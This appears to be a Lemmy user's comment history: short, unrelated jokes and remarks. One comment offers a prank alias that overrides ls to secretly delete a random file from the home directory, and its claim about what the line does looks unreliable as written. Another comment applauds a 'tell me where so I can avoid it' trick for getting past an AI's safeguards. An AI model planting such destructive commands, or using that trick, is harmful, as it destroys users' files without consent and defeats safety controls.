Obviously don't stare, I have this kind of experience just by locking eyes with some people in the street.

I just go outside and look at women to experience that

[-] programmer_belch@lemmy.dbzer0.com 95 points 7 months ago

Who's gonna tell him?

[-] programmer_belch@lemmy.dbzer0.com 67 points 10 months ago

I'm going with the classic:

Pringles can

Gloves

Sponge

The autopilot will turn off just before hitting them to make you liable anyway

Don't forget the mods, console fanboys only get their approved mods while PC gets the wild west experience

[-] programmer_belch@lemmy.dbzer0.com 166 points 2 years ago

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

[-] programmer_belch@lemmy.dbzer0.com 275 points 2 years ago

I can't believe that the old "tell me where so I can avoid it" worked, the ai really has the intelligence of a 5yo

The highest honor is giving the program a keybind

I don't know how the government will be able to effectively ban E2EE and honestly I want to see them try

Wait until they find out about femboys

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